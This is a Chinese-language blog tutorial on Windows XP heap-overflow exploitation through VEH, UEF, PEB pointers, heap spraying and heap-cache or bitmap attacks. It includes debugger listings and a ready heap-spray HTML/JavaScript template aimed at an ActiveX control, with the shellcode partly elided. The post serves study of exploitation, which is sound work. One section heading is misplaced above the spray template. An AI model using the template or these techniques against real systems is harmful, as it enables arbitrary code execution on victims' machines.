Author:riusksk(泉哥)
Blog :http://riusksk.blogbus.com
一、利用VEH
向量化異常處理(VEH,Vectored Exception Handling)最初是在XP中公佈,它的優先級高於SEH,並且VEH是存在堆中的,它是你在代碼中明確新增的,並不伴隨try/catch之類的語句而產生,它也需要通過API(AddVectoredExceptionHandler)來註冊回調函數,並可註冊多個VEH,各個VEH結構體之間串成雙向鏈表,因此比SEH多了一個前後指標,其它更詳細的訊息可參考《Windows XP中的向量化異常處理》一文:http://bbs.pediy.com/showthread.php?t=49868。每一個VEH結構均存儲在堆上,其結構如下:
struct _VECTORED_EXCEPTION_NODE
{
DWORD m_pNextNode; //指向下一個_VECTORED_EXCEPION_NODE結構,因此可用偽造的指標來覆蓋它
DWORD m_pPreviousNode; //指向上一個_VECTORED_EXCEPION_NODE結構
PVOID m_pfnVectoredHandler; //異常處理函數
}
負責分發_VECTORED_EXCEPION_NODE的代碼如下:
77F7F49E 8B35 1032FC77 MOV ESI,DWORD PTR DS:[77FC3210] ;賦值後ESI指向_VECTORED_EXCEPION_NODE結構,即m_pNextNode
77F7F4A4 EB 0E JMP SHORT ntdll.77F7F4B4
77F7F4A6 8D45 F8 LEA EAX,DWORD PTR SS:[EBP-8]
77F7F4A9 50 PUSH EAX
77F7F4AA FF56 08 CALL DWORD PTR DS:[ESI+8] ;可用shellcode-0x8去覆蓋m_pNextNode指標
接著我們在堆中確定shellcode地址,可先用垃圾字符去填充,比如'0x41',然後在堆中搜索它。當發生堆溢出時,堆塊的前向指標和後向指標就會被篡改,比如異常出現在:
MOV DWORD PTR DS:[ECX],EAX ;EAX = Flink = 寫入的內容
MOV DWORD PTR DS:[EAX+4],ECX ;ECX = Blink = 寫入的地址
那麼我們就可以用m_pNextNode-4來覆蓋ECX,然後用shellcode-8去覆蓋EAX。關於m_pNextNode指標的獲取,我們只需在觸發異常後,按shift+F7步過異常即可找到此指標,比如以下代碼:
77F60C2C BF 1032FC77 MOV EDI,ntdll.77FC3210 ;m_pNextNode指標
77F60C31 393D 1032FC77 CMP DWORD PTR DS:[77FC3210],EDI
77F60C37 0F85 48E80100 JNZ ntdll.77F7F485
關於EAX和ECX的偏移地址可通過pattern_create和pattern_offset來獲取。這樣當觸發異常時就會調用VEH,而此時下一個VEH結構即是我們特意構造的shellcode,這樣我們的惡意代碼就有可以被執行了。
二、利用UEF
系統默認異常處理函數(UEF,Unhandler Exception Filter)是系統處理異常時最後調用的一個異常處理例程,在堆溢出中,只需將這一地址覆蓋為我們的shellcode地址即可。獲取UEF地址的方法可以通過查看SetUnhandledExceptionFilter()的代碼來定位,接著再找到操作UnhandledExceptionFilter指標的MOV指令,比如以下代碼:
77E93114 A1 B473ED77 MOV EAX,DWORD PTR DS:[77ED73B4] ;UnhandledExceptionFilter指標
77E93119 3BC6 CMP EAX,ESI
77E9311B 74 15 JE SHORT kernel32.77E93132
77E9311D 57 PUSH EDI
77E9311E FFD0 CALL EAX
現在我們只需找到shellcode地址,或者看是否有某一暫存器reg剛好指向shellcode或其附近,然後用shellcode地址或者類似call [reg + offset]的指令地址來覆蓋UnhandledExceptionFilter指標,比較常用的指令如:
call dword ptr ds:[edi+74]
call dword ptr ds:[esi+4c]
其它eax,ebx也有可能指向堆,亦可作為跳板來用。
三、利用PEB
由於當UEF被調用後,它最終會調用ExitProcess()來結束程序,而它在清理現場時需要進入臨界區以同步執行緒,因此會調用RtlEnterCriticalSection()t和RtlLeaveCriticalSection()。ExitProcess是通過存放在PEB中的一對指標來調用這兩個函數的,如果能夠利用DWORD SHOOT把這對指標篡改成shellcode入口地址,那麼在程序結束調用ExitProcess()就會執行shellcode。下面是在Windows XP SP3下PEB的情況:
0:000> dt _PEB
ntdll!_PEB
+0x000 InheritedAddressSpace : UChar
+0x001 ReadImageFileExecOptions : UChar
+0x002 BeingDebugged : UChar
+0x003 SpareBool : UChar
+0x004 Mutant : Ptr32 Void
+0x008 ImageBaseAddress : Ptr32 Void
+0x00c Ldr : Ptr32 _PEB_LDR_DATA
+0x010 ProcessParameters : Ptr32 _RTL_USER_PROCESS_PARAMETERS
+0x014 SubSystemData : Ptr32 Void
+0x018 ProcessHeap : Ptr32 Void
+0x01c FastPebLock : Ptr32 _RTL_CRITICAL_SECTION //根據此指標來間接進入臨界區
+0x020 FastPebLockRoutine : Ptr32 Void
+0x024 FastPebUnlockRoutine : Ptr32 Void
+0x028 EnvironmentUpdateCount : Uint4B
……
但在WinXP SP2之後微軟就加入了PEB random保護,不再使用固定的PEB基址,而使用具有一定隨機性的PEB基址,以提高利用的難度。
四、Heap Spary
Heap Spary技術最早是由SkyLined於2004年為IE的iframe漏洞寫的exploit而使用到新技術,目前主要作為瀏覽器攻擊的經典方法,被大量網馬所使用。Heap Spary技術是使用js分配記憶體,所分配的記憶體均放入堆中,然後用各帶有shellcode的堆塊去覆蓋一大片記憶體地址,Javascript分配記憶體從低址向高址分配,申請的記憶體空間超出了200M,即大於了0x0C0C0C0C時,0x0C0C0C0C就會被覆蓋掉,因此只要讓IE執行到0x0C0C0C0C(有時也會用0x0D0D0D0D這一地址)就可以執行shellcode,這些堆塊可以用NOP + shellcode 來填充,每塊堆構造1M大小即可,當然這也不是固定。這樣當nop區域命中0x0c0c0c0c時,就可執行在其後面的shellcode。下面是一個簡單模板:
五、Bitmap Flipping Attack
<html>
<body>
<object classid="clsid:6BE52E1D-E586-474F-A6E2-1A85A9B4D9FB" id="target"></object>
<script>
Var shellcode="\u68fc\u7473\u6668\u6961……\u53c4\u5050\uff53\ufc57\uff53\uf857";
var nop="\u9090\u9090";
while (nop.length <= 0x100000/2)
{
nop+=nop;
}
nop = nop.substring(0,0x100000/2-32/2-4/2-shellcode.length-2/2);
var slide = new Array();
for ( var i=0; i<200; i++)
{
slide[i] = nop + shellcode;
}
var s= '';
while (s.length < 748)
{
s+="\x0c";
}
target.Overflow(s);
</script>
</body>
</html>
在 Heap Management 結構中包含有Freelist Bitmap標誌位,它是一個4字節的DWORD值,當對應的FreeList[n]被填充時,bitmap就將被設置。當請求分配堆塊時,它會先搜索與之大小合適的FreeList[n],然後檢測對應的bitmap,若上面為0就表示上面是塊未使用的空閒塊,則對應的FreeList[n]將用於分配配塊,接著返回到對應的請求塊FreeList[n]指向的地址。因此如果我們可以控制Bitmap,並能夠覆蓋freelist[n]中的值,那麼我們就可以通過它來執行任意代碼。更多訊息可參見Ruxcon 2008大會上面的文章《Heaps About Heaps》
六、Heap Cache Attack
Heap Cache主要用於降低頻繁遍歷FreeList[0]的性能消耗,以提高性能。它主要是為FreeList[0]中的堆塊建立擴展索引,更重要的是,Heap Manager並沒有將任何空閒塊移動緩衝中,這些空閒塊一直保存在FreeList[0]中,但緩衝中保存著一些指標,它們指向FreeList[0]中的某些節點,以此來提升訪問FreeList[0]的速度。堆緩衝是一個bucket陣列,每一個bucket包含有intptr_t字節用於存儲大小,還有一個NULL指標或者FreeList[0]上的堆塊指標。默認情況下,陣列包括有896個bucket,其大小在1024和8192之間,但大小是可配置的,我們可指定最大的緩衝索引號。在堆緩衝攻擊技術中又存在各種利用方式,比如De-synchronization Attack(通過覆寫堆塊頭訊息中的大小域,使每次請求同等大小堆塊時都指向同一塊已經使用的記憶體塊,如果攻擊者可能控制這一記憶體塊中的內容,就有可能導致任意代碼執行),Insert Attack、Existing Attacks、Malicious Cache Entry Attack……這些方法有很大的局限性,在實際運用上很難派上用場,若想獲取更多關於這方面的訊息可以參見BlackHat USA 2009上面的文章《Practical Windows XP/2003 Heap Exploitation》。
七、Bitmap XOR Attack
Bitmap XOR Attack 是通過異或操作來更改 freelist bitmap,如果系統嘗試清除這一錯誤的標誌位,那麼就可能從一個空閒位(free bit)切換到設置位(set bit),進而實現類似上文提到的bitmap attack。這個可以通過篡改堆塊頭訊息中的大小域(CurSize),使其小於0x80,接著再使對應堆塊中的前向指向與後向指標相等(flink == blink),並保證其指向的地址是可讀的。更多訊息可以參見BlackHat USA 2009上面的文章《Practical Windows XP/2003 Heap Exploitation》。後面這幾種方法實際利用價值不大,權當瞭解,學習思路更為重要。
沒有留言:
張貼留言